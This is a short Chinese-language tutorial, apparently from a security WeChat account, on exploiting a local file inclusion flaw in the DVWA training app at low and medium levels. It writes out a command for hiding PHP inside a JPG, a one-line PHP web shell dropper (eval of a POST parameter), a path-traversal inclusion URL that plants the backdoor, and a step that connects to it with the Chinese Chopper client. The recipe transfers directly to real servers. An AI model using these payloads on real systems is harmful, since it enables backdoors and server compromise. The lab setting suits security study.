35、本地文件包含漏洞
一、本地文件包含漏洞：
环境：DVWA，low级别
1、制作一句话图片木马
第一种方法：
windows命令
copy 1.jpg/b+1.php 2.jpg
第二种方法：
将照片拖入edjpgcom软件，添加下面这句话
<?fputs(fopen("1.php","w"),'<?php eval($_POST[cmd]);?>')?>
2、上传图片木马文件
3、选择文件包含页面
4、执行文件包含并生成后门
192.168.152.188/dvwa/vulnerabilities/fi/？page=…/…/hackable/uploads/1.jpg
5、在/var/www/dvwa/vulnerabilities/fi目录生成了1.php
6、菜刀链接
二、环境：DVWA，medium级别
同low级别
禁止非法，后果自负
欢迎关注公众号：web安全工具库